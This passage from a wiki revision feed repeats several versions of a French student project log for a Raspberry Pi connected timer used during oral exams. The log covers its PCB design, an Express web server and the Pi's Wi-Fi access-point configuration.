* 16 transistors PNP [http://njsemi.com/datasheets/2N2894.pdf 2N2894]&lt;br /&gt;
* 2 multiplexeurs [https://www.diodes.com/assets/Datasheets/74HCT595.pdf 74HCT595]&lt;br /&gt;
* 16 résistances 56 Ohms&lt;br /&gt;
* 16 résistances 1,2kOhms&lt;br /&gt;
* 2 capacités 100nF&lt;br /&gt;
* 1 capacité 10uF&lt;br /&gt;
&lt;br /&gt;
==Séance 1==&lt;br /&gt;
&lt;br /&gt;
===Recherche d'un sujet et clarification du cahier des charges===&lt;br /&gt;
&lt;br /&gt;
Après avoir passé du temps à rechercher un sujet, nous nous sommes orienté vers le sujet proposé par les encadrants, le timer connecté. Nous avons alors passé le reste de la séance à effectuer des recherches sur le matériel à utiliser ainsi qu'à définir les fonctionnalités que présentera notre timer. Les fonctionnalités retenues sont les suivantes : &lt;br /&gt;
&lt;br /&gt;
- Une application mobile permettra de contrôler le timer&lt;br /&gt;
&lt;br /&gt;
- Si l'utilisateur est un membre du jury, il pourra modifier le timer&lt;br /&gt;
&lt;br /&gt;
- Si l'utilisateur est une personne qui soutient, il ne pourra que consulter le timer&lt;br /&gt;
&lt;br /&gt;
- Un système de vote sera disponible à partir de l'application&lt;br /&gt;
&lt;br /&gt;
- Lorsqu'il restera 2 minutes sur le timer, le téléphone de l'utilisateur vibrera&lt;br /&gt;
&lt;br /&gt;
- Le timer sera double face afin qu'il soit visible par le jury et l'étudiant&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Finalement, nous avons été amené à revoir les fonctionnalités proposées au cours du projet par manque de temps. L'application a été remplacé par un site web. Le système de vote n'a pas été mis en place mais le membre du jury peut écrire des commentaires à la personne qui soutient à travers le site web. La fonctionnalité de vibration à été remplacée par un système de modification de la coloration du timer présent sur le site web à partir d'un certain temps restant.&lt;br /&gt;
&lt;br /&gt;
==Séance 2==&lt;br /&gt;
&lt;br /&gt;
===Structuration du projet===&lt;br /&gt;
&lt;br /&gt;
Lors de cette séance, des afficheurs 7-segments nous ont été fournis. Cependant, ils présentent la particularité d'être alimenté avec 12V. Les alimenter directement par la Raspberry qui elle peut fournir 5V n'est donc pas possible. &lt;br /&gt;
&lt;br /&gt;
Nous avons passé du temps lors de cette séance à trouver une solution pour le contrôle des LED. Nous en avons retenu deux : &lt;br /&gt;
&lt;br /&gt;
- Utiliser des pilotes de LED [http://www.ti.com/lit/ds/symlink/tlc5947.pdf TLC5947] &lt;br /&gt;
&lt;br /&gt;
- Utiliser des transistors&lt;br /&gt;
&lt;br /&gt;
Nous avons alors décidé de partir sur les pilotes de LED pour plus de simplicité, ces derniers gérant eux mêmes le courant fournis aux LED. Après avoir pris cette décision, nous avons débuté la conception de la carte sous Eagle. Nous avons choisi ce logiciel car les toutes les footprint des composants utilisés sont disponibles sur le net.&lt;br /&gt;
&lt;br /&gt;
==Séance 3==&lt;br /&gt;
&lt;br /&gt;
===Carte électronique===&lt;br /&gt;
&lt;br /&gt;
Après avoir bien avancé sur la carte, nous nous sommes rendu compte que les afficheurs utilisés étaient à cathode commune. Cela pose un problème puisque les pilotes de LED dont nous disposons ne sont pas compatibles avec cette configuration. Nous avons donc du nous tourner vers l'autre solution pour le contrôle des leds, celle avec les transistors. Disposant de 4 afficheurs à 7segments (+ le point), les GPIO de la Raspberry ne sont pas assez nombreux, nous avons donc du utiliser des multiplexeurs. Nous avons alors passé cette séance à étudier les datasheet des différents composants et à établir un nouveau schéma pour la carte.&lt;br /&gt;
&lt;br /&gt;
===Serveur web===&lt;br /&gt;
&lt;br /&gt;
Selon la définition Wikipédia, Express est un framework nodejs permettant de mettre en place des applications web. Il s'agit du framework le plus utilisé dans ce but sous l'environnement NodeJS.&lt;br /&gt;
N'ayant jamais utilisé Express, nous avons dû se renseigner sur son fonctionnement et se documenter sur les possibilités du framework. &lt;br /&gt;
Express est basé sur une architecture typique MVC (Model-View-Controller). Nous pouvons définir des middlewares permettant de capturer les requêtes, de réaliser un traitement préalable, puis de renvoyer la page. Pour cela, il suffit de définir des routes, qui définirons les différentes requêtes HTTP possibles.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! style=&amp;quot;text-align: center; font-weight:bold;&amp;quot; | Route&lt;br /&gt;
! style=&amp;quot;text-align: center; font-weight:bold;&amp;quot; | Méthode&lt;br /&gt;
! style=&amp;quot;text-align: center; font-weight:bold;&amp;quot; | Description&lt;br /&gt;
|-&lt;br /&gt;
| /&lt;br /&gt;
| GET&lt;br /&gt;
| Permet de réaliser un choix entre l'interface enseignant et étudiant&lt;br /&gt;
|-&lt;br /&gt;
| /prof&lt;br /&gt;
| GET&lt;br /&gt;
| Permet de parametrer le timer, en informant le nom du créateur du timer,&lt;br /&gt;
la durée de celui-ci en minutes, et l'étudiant en question.&lt;br /&gt;
|-&lt;br /&gt;
| /prof/timer&lt;br /&gt;
| GET&lt;br /&gt;
| Si un timer est configuré, affiche ce dernier, ainsi qu'un formulaire permettant &lt;br /&gt;
d'envoyer un commentaire.&lt;br /&gt;
|-&lt;br /&gt;
| /prof/timer&lt;br /&gt;
| POST&lt;br /&gt;
| Permet de traiter soit un nouveau commentaire, soit de lancer le timer&lt;br /&gt;
|-&lt;br /&gt;
| /etudiant&lt;br /&gt;
| GET&lt;br /&gt;
| Permet d'afficher les commentaires et un timer approximatif, qui vire au rouge lorsque&lt;br /&gt;
le temps devient critique (&amp;lt;2 minutes)&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
Les routes étant fixés et définies, nous pouvons passer à la réalisation.&lt;br /&gt;
&lt;br /&gt;
==Séance 4==&lt;br /&gt;
&lt;br /&gt;
===Carte électronique===&lt;br /&gt;
&lt;br /&gt;
Lors de cette séance, nous avons pu terminer la carte. Le schematic final est le suivant : &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:SchematicP4IOT.png|center|1000px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Le PCB est le suivant : &lt;br /&gt;
&lt;br /&gt;
[[Fichier:RoutageP4IOT.png|center|1000px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Serveur web===&lt;br /&gt;
Afin de pouvoir communiquer avec le programme principal manipulant le véritable timer, il est nécessaire d'implémenter une sorte de communication inter-processus. Le choix est porté sur la mise en place d'une liaison sockets UDP, qui sont plus pratique dans notre cas que des sockets basés sur TCP.&lt;br /&gt;
Ainsi, le module 'dgram' (pour datagram, de UDP datagram socket), permet d'écouter pour un 'datagram' sur un port particulier, ou simplement de broadcaster un message. &lt;br /&gt;
Le serveur web permettra ainsi d'envoyer la valeur du timer en secondes, tandis que le programme principal en C écoutera sur un port spécifié, et lancera le timer dès la réception de la valeur.  &lt;br /&gt;
Le code permettant l'envoi d'un message par socket UDP est simple à réaliser :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Dgramtimer.png|600px]]&lt;br /&gt;
&lt;br /&gt;
Nous avons décidés que le timer affiché sur les pages web est simplement à titre indicatif, soit, il ne représente pas réellement le véritable timer, dont la valeur est affiché sur les afficheurs 7 segments. Ce choix à été fait en raison du fait que nodejs et express ne tournent uniquement que sur un thread et ne permettent pas d'écouter sur un port et de rafraichir la page dès une réception.&lt;br /&gt;
Ainsi, dès le choix de la valeur du timer, nous sauvegardons la timestamp de fin de celui-ci et lançons le timer pour un compte à rebours vers cette valeur.&lt;br /&gt;
&lt;br /&gt;
Les commentaires quant à eux sont enregistrés dans un fichier sous format JSON, et dans le cas d'une requête GET, une lecture de ce fichier est réalisée et les commentaires affichés, tandis que dans le cas d'une requête POST, le fichier est réécris en mémoire avec le nouveau commentaire.&lt;br /&gt;
L'identifiant d'un professeur commentant est défini sur le formulaire de choix du timer en ne spécifiant que le champ identifiant. La valeur de ce dernier est enregistré dans un cookie de navigateur.&lt;br /&gt;
Les informations relatives au timer, au nom de l'étudiant et au créateur du timer sont enregistrés dans un autre fichier JSON et récupérés au besoin.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Entreeiot.png|300px]]&lt;br /&gt;
[[Fichier:CHOIXIOT.png|300px]]&lt;br /&gt;
[[Fichier:TimerProf.png|300px]]&lt;br /&gt;
&lt;br /&gt;
==Séance 5==&lt;br /&gt;
&lt;br /&gt;
===Gravure de la carte électronique===&lt;br /&gt;
&lt;br /&gt;
Après avoir récupéré la carte gravée, nous nous sommes rendu compte qu'il y avait eu un problème de perçage. En effet, certains trous non présents sur le schéma de routage se trouvaient la carte, d'autres n'étaient pas du tout présent ou alors pas à la bonne place. Pourtant, nous n’apercevions aucun problème lors de la vérification des fichiers gerber avec http://www.gerber-viewer.com/. Nous avons alors passé pas mal de temps à rechercher la cause du problème avec Monsieur Flamen. Finalement, le problème provenait de la génération des fichiers gerber. Après avoir corrigé le problème, la carte a pu être regravée correctement.&lt;br /&gt;
&lt;br /&gt;
===Configuration de la raspberry pi===&lt;br /&gt;
&lt;br /&gt;
Nous configurons la raspberry afin d'agir en tant que point d'accès afin de pouvoir accéder à l'interface web : &lt;br /&gt;
&lt;br /&gt;
Nous installons tout d'abord les paquets dnsmasq et hostapd, permettant de configurer le point d'accès et fournir le service DNS :&lt;br /&gt;
    $ sudo apt-get install dnsmasq hostapd&lt;br /&gt;
&lt;br /&gt;
Nous modifions le fichier  de configuration de dhcpcd en ajoutant : &lt;br /&gt;
    interface wlan0&lt;br /&gt;
        static ip_address=192.168.4.1/24&lt;br /&gt;
        nohook wpa_supplicant&lt;br /&gt;
&lt;br /&gt;
Nous relançons ensuite le service dhcpcd.&lt;br /&gt;
&lt;br /&gt;
Nous modifions ensuite le fichier de configuration de dnsmasq, qui va définir la plage d'IPs à attribuer : &lt;br /&gt;
    interface=wlan0&lt;br /&gt;
      dhcp-range=192.168.4.2,192.168.4.20,255.255.255.0,24h&lt;br /&gt;
&lt;br /&gt;
Enfin, nous écrivons la configuration de notre point d'accès dans un fichier de configuration de hostapd : &lt;br /&gt;
&lt;br /&gt;
    interface=wlan0&lt;br /&gt;
    driver=nl80211&lt;br /&gt;
    ssid=TimerIOT&lt;br /&gt;
    hw_mode=g&lt;br /&gt;
    channel=7&lt;br /&gt;
    wmm_enabled=0&lt;br /&gt;
    macaddr_acl=0&lt;br /&gt;
    auth_algs=1&lt;br /&gt;
    ignore_broadcast_ssid=0&lt;br /&gt;
    wpa=2&lt;br /&gt;
    wpa_passphrase=timeriot&lt;br /&gt;
    wpa_key_mgmt=WPA-PSK&lt;br /&gt;
    wpa_pairwise=TKIP&lt;br /&gt;
    rsn_pairwise=CCMP&lt;br /&gt;
&lt;br /&gt;
Enfin, nous lançons les processus hostapd et dnsmasq : &lt;br /&gt;
 $ sudo systemctl start hostapd&lt;br /&gt;
 $ sudo systemctl start dnsmasq&lt;br /&gt;
&lt;br /&gt;
Nous rebootons enfin la raspberry. La page web est ainsi accessible en se connectant au point d'accès et en tapant http://192.168.4.1:3000 dans le navigateur.&lt;/div&gt;</summary>
		<author><name>Mcreteur</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:RoutageP4IOT.png&amp;diff=49399</id>
		<title>Fichier:RoutageP4IOT.png</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:RoutageP4IOT.png&amp;diff=49399"/>
				<updated>2019-01-20T23:56:53Z</updated>
		
		<summary type="html">&lt;p&gt;Mcreteur : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Mcreteur</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:SchematicP4IOT.png&amp;diff=49398</id>
		<title>Fichier:SchematicP4IOT.png</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:SchematicP4IOT.png&amp;diff=49398"/>
				<updated>2019-01-20T23:54:28Z</updated>
		
		<summary type="html">&lt;p&gt;Mcreteur : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Mcreteur</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_IOT_2018&amp;diff=49397</id>
		<title>P4 IOT 2018</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_IOT_2018&amp;diff=49397"/>
				<updated>2019-01-20T23:49:49Z</updated>
		
		<summary type="html">&lt;p&gt;Mcreteur : /* Carte électronique */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Présentation du sujet =&lt;br /&gt;
&lt;br /&gt;
==Contexte==&lt;br /&gt;
&lt;br /&gt;
Prenons le cas d'une soutenance de quatrième année, strictement limitée en temps. On ne voudrait surtout pas rater cette dernière et ne pas avoir l'occasion de passer en revue l'ensemble de ses slides ! Le jury ne souhaite cependant pas faire office d'arbitre ou d'interrompre la personne soutenant. Ainsi, un timer connecté permettant d'indiquer le temps restant aux deux parties est placé sur la table. Ce timer fait également office de point d'accès et permet de se connecter à une page web ou les enseignants peuvent noter des commentaires que l'étudiant peut observer en temps réel.&lt;br /&gt;
&lt;br /&gt;
==Description du projet==&lt;br /&gt;
&lt;br /&gt;
Le projet consiste donc à réaliser un timer connecté, disposant de 4 afficheurs 7 segments, dont deux feront face à l'étudiant et les deux autres au jury. Nous utilisons une raspberry pi 3, et nous basons ainsi notre timer sur le timer ARM de cette dernière. La raspberry fait également office de point d'accès permettant de délivrer une page web qui permet de configurer le timer.&lt;br /&gt;
Le code controllant les afficheurs 7 segments sera réalisé en C.&lt;br /&gt;
Le serveur web sera basé sur le framework express de node js.&lt;br /&gt;
Le PCB sera réalisé sous Eagle.&lt;br /&gt;
&lt;br /&gt;
=Réalisation=&lt;br /&gt;
&lt;br /&gt;
==Matériel utilisé==&lt;br /&gt;
&lt;br /&gt;
* 1 Raspberry pi 3&lt;br /&gt;
* 4 afficheurs 7 segments [http://www.kingbrightusa.com/images/catalog/SPEC/SA23-11SRWA.pdf SA23-11SRWA]&lt;br /&gt;
* 16 transistors PNP [http://njsemi.com/datasheets/2N2894.pdf 2N2894]&lt;br /&gt;
* 2 multiplexeurs [https://www.diodes.com/assets/Datasheets/74HCT595.pdf 74HCT595]&lt;br /&gt;
* 16 résistances 56 Ohms&lt;br /&gt;
* 16 résistances 1,2kOhms&lt;br /&gt;
* 2 capacités 100nF&lt;br /&gt;
* 1 capacité 10uF&lt;br /&gt;
&lt;br /&gt;
==Séance 1==&lt;br /&gt;
&lt;br /&gt;
===Recherche d'un sujet et clarification du cahier des charges===&lt;br /&gt;
&lt;br /&gt;
Après avoir passé du temps à rechercher un sujet, nous nous sommes orienté vers le sujet proposé par les encadrants, le timer connecté. Nous avons alors passé le reste de la séance à effectuer des recherches sur le matériel à utiliser ainsi qu'à définir les fonctionnalités que présentera notre timer. Les fonctionnalités retenues sont les suivantes : &lt;br /&gt;
&lt;br /&gt;
- Une application mobile permettra de contrôler le timer&lt;br /&gt;
&lt;br /&gt;
- Si l'utilisateur est un membre du jury, il pourra modifier le timer&lt;br /&gt;
&lt;br /&gt;
- Si l'utilisateur est une personne qui soutient, il ne pourra que consulter le timer&lt;br /&gt;
&lt;br /&gt;
- Un système de vote sera disponible à partir de l'application&lt;br /&gt;
&lt;br /&gt;
- Lorsqu'il restera 2 minutes sur le timer, le téléphone de l'utilisateur vibrera&lt;br /&gt;
&lt;br /&gt;
- Le timer sera double face afin qu'il soit visible par le jury et l'étudiant&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Finalement, nous avons été amené à revoir les fonctionnalités proposées au cours du projet par manque de temps. L'application a été remplacé par un site web. Le système de vote n'a pas été mis en place mais le membre du jury peut écrire des commentaires à la personne qui soutient à travers le site web. La fonctionnalité de vibration à été remplacée par un système de modification de la coloration du timer présent sur le site web à partir d'un certain temps restant.&lt;br /&gt;
&lt;br /&gt;
==Séance 2==&lt;br /&gt;
&lt;br /&gt;
===Structuration du projet===&lt;br /&gt;
&lt;br /&gt;
Lors de cette séance, des afficheurs 7-segments nous ont été fournis. Cependant, ils présentent la particularité d'être alimenté avec 12V. Les alimenter directement par la Raspberry qui elle peut fournir 5V n'est donc pas possible. &lt;br /&gt;
&lt;br /&gt;
Nous avons passé du temps lors de cette séance à trouver une solution pour le contrôle des LED. Nous en avons retenu deux : &lt;br /&gt;
&lt;br /&gt;
- Utiliser des pilotes de LED [http://www.ti.com/lit/ds/symlink/tlc5947.pdf TLC5947] &lt;br /&gt;
&lt;br /&gt;
- Utiliser des transistors&lt;br /&gt;
&lt;br /&gt;
Nous avons alors décidé de partir sur les pilotes de LED pour plus de simplicité, ces derniers gérant eux mêmes le courant fournis aux LED. Après avoir pris cette décision, nous avons débuté la conception de la carte sous Eagle. Nous avons choisi ce logiciel car les toutes les footprint des composants utilisés sont disponibles sur le net.&lt;br /&gt;
&lt;br /&gt;
==Séance 3==&lt;br /&gt;
&lt;br /&gt;
===Carte électronique===&lt;br /&gt;
&lt;br /&gt;
Après avoir bien avancé sur la carte, nous nous sommes rendu compte que les afficheurs utilisés étaient à cathode commune. Cela pose un problème puisque les pilotes de LED dont nous disposons ne sont pas compatibles avec cette configuration. Nous avons donc du nous tourner vers l'autre solution pour le contrôle des leds, celle avec les transistors. Disposant de 4 afficheurs à 7segments (+ le point), les GPIO de la Raspberry ne sont pas assez nombreux, nous avons donc du utiliser des multiplexeurs. Nous avons alors passé cette séance à étudier les datasheet des différents composants et à établir un nouveau schéma pour la carte.&lt;br /&gt;
&lt;br /&gt;
===Serveur web===&lt;br /&gt;
&lt;br /&gt;
Selon la définition Wikipédia, Express est un framework nodejs permettant de mettre en place des applications web. Il s'agit du framework le plus utilisé dans ce but sous l'environnement NodeJS.&lt;br /&gt;
N'ayant jamais utilisé Express, nous avons dû se renseigner sur son fonctionnement et se documenter sur les possibilités du framework. &lt;br /&gt;
Express est basé sur une architecture typique MVC (Model-View-Controller). Nous pouvons définir des middlewares permettant de capturer les requêtes, de réaliser un traitement préalable, puis de renvoyer la page. Pour cela, il suffit de définir des routes, qui définirons les différentes requêtes HTTP possibles.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! style=&amp;quot;text-align: center; font-weight:bold;&amp;quot; | Route&lt;br /&gt;
! style=&amp;quot;text-align: center; font-weight:bold;&amp;quot; | Méthode&lt;br /&gt;
! style=&amp;quot;text-align: center; font-weight:bold;&amp;quot; | Description&lt;br /&gt;
|-&lt;br /&gt;
| /&lt;br /&gt;
| GET&lt;br /&gt;
| Permet de réaliser un choix entre l'interface enseignant et étudiant&lt;br /&gt;
|-&lt;br /&gt;
| /prof&lt;br /&gt;
| GET&lt;br /&gt;
| Permet de parametrer le timer, en informant le nom du créateur du timer,&lt;br /&gt;
la durée de celui-ci en minutes, et l'étudiant en question.&lt;br /&gt;
|-&lt;br /&gt;
| /prof/timer&lt;br /&gt;
| GET&lt;br /&gt;
| Si un timer est configuré, affiche ce dernier, ainsi qu'un formulaire permettant &lt;br /&gt;
d'envoyer un commentaire.&lt;br /&gt;
|-&lt;br /&gt;
| /prof/timer&lt;br /&gt;
| POST&lt;br /&gt;
| Permet de traiter soit un nouveau commentaire, soit de lancer le timer&lt;br /&gt;
|-&lt;br /&gt;
| /etudiant&lt;br /&gt;
| GET&lt;br /&gt;
| Permet d'afficher les commentaires et un timer approximatif, qui vire au rouge lorsque&lt;br /&gt;
le temps devient critique (&amp;lt;2 minutes)&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
Les routes étant fixés et définies, nous pouvons passer à la réalisation.&lt;br /&gt;
&lt;br /&gt;
==Séance 4==&lt;br /&gt;
&lt;br /&gt;
===Serveur web===&lt;br /&gt;
Afin de pouvoir communiquer avec le programme principal manipulant le véritable timer, il est nécessaire d'implémenter une sorte de communication inter-processus. Le choix est porté sur la mise en place d'une liaison sockets UDP, qui sont plus pratique dans notre cas que des sockets basés sur TCP.&lt;br /&gt;
Ainsi, le module 'dgram' (pour datagram, de UDP datagram socket), permet d'écouter pour un 'datagram' sur un port particulier, ou simplement de broadcaster un message. &lt;br /&gt;
Le serveur web permettra ainsi d'envoyer la valeur du timer en secondes, tandis que le programme principal en C écoutera sur un port spécifié, et lancera le timer dès la réception de la valeur.  &lt;br /&gt;
Le code permettant l'envoi d'un message par socket UDP est simple à réaliser :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Dgramtimer.png|600px]]&lt;br /&gt;
&lt;br /&gt;
Nous avons décidés que le timer affiché sur les pages web est simplement à titre indicatif, soit, il ne représente pas réellement le véritable timer, dont la valeur est affiché sur les afficheurs 7 segments. Ce choix à été fait en raison du fait que nodejs et express ne tournent uniquement que sur un thread et ne permettent pas d'écouter sur un port et de rafraichir la page dès une réception.&lt;br /&gt;
Ainsi, dès le choix de la valeur du timer, nous sauvegardons la timestamp de fin de celui-ci et lançons le timer pour un compte à rebours vers cette valeur.&lt;br /&gt;
&lt;br /&gt;
Les commentaires quant à eux sont enregistrés dans un fichier sous format JSON, et dans le cas d'une requête GET, une lecture de ce fichier est réalisée et les commentaires affichés, tandis que dans le cas d'une requête POST, le fichier est réécris en mémoire avec le nouveau commentaire.&lt;br /&gt;
L'identifiant d'un professeur commentant est défini sur le formulaire de choix du timer en ne spécifiant que le champ identifiant. La valeur de ce dernier est enregistré dans un cookie de navigateur.&lt;br /&gt;
Les informations relatives au timer, au nom de l'étudiant et au créateur du timer sont enregistrés dans un autre fichier JSON et récupérés au besoin.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Entreeiot.png|300px]]&lt;br /&gt;
[[Fichier:CHOIXIOT.png|300px]]&lt;br /&gt;
[[Fichier:TimerProf.png|300px]]&lt;br /&gt;
&lt;br /&gt;
==Séance 5==&lt;br /&gt;
&lt;br /&gt;
===Gravure de la carte électronique===&lt;br /&gt;
&lt;br /&gt;
Après avoir récupéré la carte gravée, nous nous sommes rendu compte qu'il y avait eu un problème de perçage. En effet, certains trous non présents sur le schéma de routage se trouvaient la carte, d'autres n'étaient pas du tout présent ou alors pas à la bonne place. Pourtant, nous n’apercevions aucun problème lors de la vérification des fichiers gerber avec http://www.gerber-viewer.com/. Nous avons alors passé pas mal de temps à rechercher la cause du problème avec Monsieur Flamen. Finalement, le problème provenait de la génération des fichiers gerber. Après avoir corrigé le problème, la carte a pu être regravée correctement.&lt;br /&gt;
&lt;br /&gt;
===Configuration de la raspberry pi===&lt;br /&gt;
&lt;br /&gt;
Nous configurons la raspberry afin d'agir en tant que point d'accès afin de pouvoir accéder à l'interface web : &lt;br /&gt;
&lt;br /&gt;
Nous installons tout d'abord les paquets dnsmasq et hostapd, permettant de configurer le point d'accès et fournir le service DNS :&lt;br /&gt;
    $ sudo apt-get install dnsmasq hostapd&lt;br /&gt;
&lt;br /&gt;
Nous modifions le fichier  de configuration de dhcpcd en ajoutant : &lt;br /&gt;
    interface wlan0&lt;br /&gt;
        static ip_address=192.168.4.1/24&lt;br /&gt;
        nohook wpa_supplicant&lt;br /&gt;
&lt;br /&gt;
Nous relançons ensuite le service dhcpcd.&lt;br /&gt;
&lt;br /&gt;
Nous modifions ensuite le fichier de configuration de dnsmasq, qui va définir la plage d'IPs à attribuer : &lt;br /&gt;
    interface=wlan0&lt;br /&gt;
      dhcp-range=192.168.4.2,192.168.4.20,255.255.255.0,24h&lt;br /&gt;
&lt;br /&gt;
Enfin, nous écrivons la configuration de notre point d'accès dans un fichier de configuration de hostapd : &lt;br /&gt;
&lt;br /&gt;
    interface=wlan0&lt;br /&gt;
    driver=nl80211&lt;br /&gt;
    ssid=TimerIOT&lt;br /&gt;
    hw_mode=g&lt;br /&gt;
    channel=7&lt;br /&gt;
    wmm_enabled=0&lt;br /&gt;
    macaddr_acl=0&lt;br /&gt;
    auth_algs=1&lt;br /&gt;
    ignore_broadcast_ssid=0&lt;br /&gt;
    wpa=2&lt;br /&gt;
    wpa_passphrase=timeriot&lt;br /&gt;
    wpa_key_mgmt=WPA-PSK&lt;br /&gt;
    wpa_pairwise=TKIP&lt;br /&gt;
    rsn_pairwise=CCMP&lt;br /&gt;
&lt;br /&gt;
Enfin, nous lançons les processus hostapd et dnsmasq : &lt;br /&gt;
 $ sudo systemctl start hostapd&lt;br /&gt;
 $ sudo systemctl start dnsmasq&lt;br /&gt;
&lt;br /&gt;
Nous rebootons enfin la raspberry. La page web est ainsi accessible en se connectant au point d'accès et en tapant http://192.168.4.1:3000 dans le navigateur.&lt;/div&gt;</summary>
		<author><name>Mcreteur</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_IOT_2018&amp;diff=49396</id>
		<title>P4 IOT 2018</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_IOT_2018&amp;diff=49396"/>
				<updated>2019-01-20T23:24:28Z</updated>
		
		<summary type="html">&lt;p&gt;Mcreteur : /* Séance 2 */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Présentation du sujet =&lt;br /&gt;
&lt;br /&gt;
==Contexte==&lt;br /&gt;
&lt;br /&gt;
Prenons le cas d'une soutenance de quatrième année, strictement limitée en temps. On ne voudrait surtout pas rater cette dernière et ne pas avoir l'occasion de passer en revue l'ensemble de ses slides ! Le jury ne souhaite cependant pas faire office d'arbitre ou d'interrompre la personne soutenant. Ainsi, un timer connecté permettant d'indiquer le temps restant aux deux parties est placé sur la table. Ce timer fait également office de point d'accès et permet de se connecter à une page web ou les enseignants peuvent noter des commentaires que l'étudiant peut observer en temps réel.&lt;br /&gt;
&lt;br /&gt;
==Description du projet==&lt;br /&gt;
&lt;br /&gt;
Le projet consiste donc à réaliser un timer connecté, disposant de 4 afficheurs 7 segments, dont deux feront face à l'étudiant et les deux autres au jury. Nous utilisons une raspberry pi 3, et nous basons ainsi notre timer sur le timer ARM de cette dernière. La raspberry fait également office de point d'accès permettant de délivrer une page web qui permet de configurer le timer.&lt;br /&gt;
Le code controllant les afficheurs 7 segments sera réalisé en C.&lt;br /&gt;
Le serveur web sera basé sur le framework express de node js.&lt;br /&gt;
Le PCB sera réalisé sous Eagle.&lt;br /&gt;
&lt;br /&gt;
=Réalisation=&lt;br /&gt;
&lt;br /&gt;
==Matériel utilisé==&lt;br /&gt;
&lt;br /&gt;
* 1 Raspberry pi 3&lt;br /&gt;
* 4 afficheurs 7 segments [http://www.kingbrightusa.com/images/catalog/SPEC/SA23-11SRWA.pdf SA23-11SRWA]&lt;br /&gt;
* 16 transistors PNP [http://njsemi.com/datasheets/2N2894.pdf 2N2894]&lt;br /&gt;
* 2 multiplexeurs [https://www.diodes.com/assets/Datasheets/74HCT595.pdf 74HCT595]&lt;br /&gt;
* 16 résistances 56 Ohms&lt;br /&gt;
* 16 résistances 1,2kOhms&lt;br /&gt;
* 2 capacités 100nF&lt;br /&gt;
* 1 capacité 10uF&lt;br /&gt;
&lt;br /&gt;
==Séance 1==&lt;br /&gt;
&lt;br /&gt;
===Recherche d'un sujet et clarification du cahier des charges===&lt;br /&gt;
&lt;br /&gt;
Après avoir passé du temps à rechercher un sujet, nous nous sommes orienté vers le sujet proposé par les encadrants, le timer connecté. Nous avons alors passé le reste de la séance à effectuer des recherches sur le matériel à utiliser ainsi qu'à définir les fonctionnalités que présentera notre timer. Les fonctionnalités retenues sont les suivantes : &lt;br /&gt;
&lt;br /&gt;
- Une application mobile permettra de contrôler le timer&lt;br /&gt;
&lt;br /&gt;
- Si l'utilisateur est un membre du jury, il pourra modifier le timer&lt;br /&gt;
&lt;br /&gt;
- Si l'utilisateur est une personne qui soutient, il ne pourra que consulter le timer&lt;br /&gt;
&lt;br /&gt;
- Un système de vote sera disponible à partir de l'application&lt;br /&gt;
&lt;br /&gt;
- Lorsqu'il restera 2 minutes sur le timer, le téléphone de l'utilisateur vibrera&lt;br /&gt;
&lt;br /&gt;
- Le timer sera double face afin qu'il soit visible par le jury et l'étudiant&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Finalement, nous avons été amené à revoir les fonctionnalités proposées au cours du projet par manque de temps. L'application a été remplacé par un site web. Le système de vote n'a pas été mis en place mais le membre du jury peut écrire des commentaires à la personne qui soutient à travers le site web. La fonctionnalité de vibration à été remplacée par un système de modification de la coloration du timer présent sur le site web à partir d'un certain temps restant.&lt;br /&gt;
&lt;br /&gt;
==Séance 2==&lt;br /&gt;
&lt;br /&gt;
===Structuration du projet===&lt;br /&gt;
&lt;br /&gt;
Lors de cette séance, des afficheurs 7-segments nous ont été fournis. Cependant, ils présentent la particularité d'être alimenté avec 12V. Les alimenter directement par la Raspberry qui elle peut fournir 5V n'est donc pas possible. &lt;br /&gt;
&lt;br /&gt;
Nous avons passé du temps lors de cette séance à trouver une solution pour le contrôle des LED. Nous en avons retenu deux : &lt;br /&gt;
&lt;br /&gt;
- Utiliser des pilotes de LED [http://www.ti.com/lit/ds/symlink/tlc5947.pdf TLC5947] &lt;br /&gt;
&lt;br /&gt;
- Utiliser des transistors&lt;br /&gt;
&lt;br /&gt;
Nous avons alors décidé de partir sur les pilotes de LED pour plus de simplicité, ces derniers gérant eux mêmes le courant fournis aux LED. Après avoir pris cette décision, nous avons débuté la conception de la carte sous Eagle. Nous avons choisi ce logiciel car les toutes les footprint des composants utilisés sont disponibles sur le net.&lt;br /&gt;
&lt;br /&gt;
==Séance 3==&lt;br /&gt;
&lt;br /&gt;
===Carte électronique===&lt;br /&gt;
&lt;br /&gt;
===Serveur web===&lt;br /&gt;
&lt;br /&gt;
